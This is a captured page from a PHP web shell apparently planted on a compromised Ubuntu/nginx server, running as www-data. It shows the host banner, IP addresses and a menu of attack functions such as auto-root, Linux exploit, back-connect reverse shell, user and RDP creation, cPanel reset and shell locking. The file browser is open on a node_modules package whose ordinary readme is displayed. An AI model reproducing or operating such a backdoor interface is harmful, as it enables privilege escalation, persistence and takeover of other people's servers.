Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
pkg-up /
[ HOME SHELL ]
Name
Size
Permission
Action
node_modules
[ DIR ]
dr-xr-xr-x
index.d.ts
914
B
-rw-rw-rw-
index.js
194
B
-rw-rw-rw-
license
1.08
KB
-rw-rw-rw-
package.json
762
B
-rw-rw-rw-
readme.md
1.24
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.md
# pkg-up [](https://travis-ci.org/sindresorhus/pkg-up) > Find the closest package.json file ## Install ``` $ npm install pkg-up ``` ## Usage ``` / └── Users └── sindresorhus └── foo ├── package.json └── bar ├── baz └── example.js ``` ```js // example.js const pkgUp = require('pkg-up'); (async () => { console.log(await pkgUp()); //=> '/Users/sindresorhus/foo/package.json' })(); ``` ## API ### pkgUp([options]) Returns a `Promise<string>` for the filepath, or `Promise<null>` if it couldn't be found. ### pkgUp.sync([options]) Returns the filepath, or `null` if it couldn't be found. #### options Type: `Object` #### cwd Type: `string`<br> Default: `process.cwd()` Directory to start from. ## Related - [read-pkg-up](https://github.com/sindresorhus/read-pkg-up) - Read the closest package.json file - [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package - [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories ## License MIT © [Sindre Sorhus](https://sindresorhus.com)
Close